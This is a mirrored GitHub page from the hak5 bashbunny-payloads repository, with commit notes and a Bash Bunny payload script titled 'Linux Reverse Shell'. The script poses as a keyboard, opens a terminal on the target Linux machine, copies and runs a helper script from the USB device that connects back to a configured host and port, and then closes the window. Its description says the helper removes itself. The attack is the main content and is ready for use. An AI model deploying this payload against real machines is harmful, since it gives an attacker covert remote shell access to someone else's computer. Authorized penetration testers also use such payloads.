mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
* Updated all Payloads for Version 1.2+ Fixed Style Issues on extensions and payloads. Added GET TARGET_OS to get.sh Removed and Fixed all uses ducky_helper.sh (Issue #248) Removed all mention of DUCKY_LANG (Issue #248) Renamed Payloads with spaces in name Added an extension to keep Macs Happy Added a payload for Mac DNS poisoning Fixed Issue #271 changed wget to curl -o Implemented PR #268 Implemented PR #273 * Fixed e.cmd * Fix e.cmd pt2 * Fixed Issues Fixed issues pointed out by @sebkinne Fixed styling errors
48 lines
987 B
Bash
48 lines
987 B
Bash
#!/bin/bash
|
|
#
|
|
# Title: Linux Reverse Shell
|
|
# Author: tuzzmaniandevil
|
|
# Version: 1.1
|
|
#
|
|
# Runs a script in the background that creates a reverse shell connection to the configured address and then removes itself.
|
|
#
|
|
# Magenta..................Setup
|
|
# Yellow single blink......Executing
|
|
# Green....................Finished
|
|
|
|
# Config options
|
|
RHOST=127.0.0.1
|
|
RPORT=4444
|
|
|
|
# Start Setup
|
|
LED SETUP
|
|
|
|
# Gets Switch Position
|
|
GET SWITCH_POSITION
|
|
|
|
# Set Attack Mode
|
|
ATTACKMODE HID STORAGE
|
|
|
|
# Wait for Storage to mount
|
|
sleep 5
|
|
|
|
# Open a terminal
|
|
Q CTRL-ALT t
|
|
|
|
# Wait for terminal to open
|
|
sleep 1
|
|
LED STAGE1
|
|
|
|
# Copy bash script
|
|
Q STRING "cp \$(readlink -f /dev/disk/by-label/BashBunny | while read dev;do mount | grep \"\$dev\b\" | awk '{print \$3}';done)/payloads/"
|
|
Q STRING $SWITCH_POSITION
|
|
Q STRING "/a.sh ~/a.sh && chmod +x ~/a.sh && ~/a.sh $RHOST $RPORT"
|
|
Q ENTER
|
|
|
|
# Quit the terminal
|
|
LED CLEANUP
|
|
Q STRING exit
|
|
Q ENTER
|
|
|
|
LED FINISH
|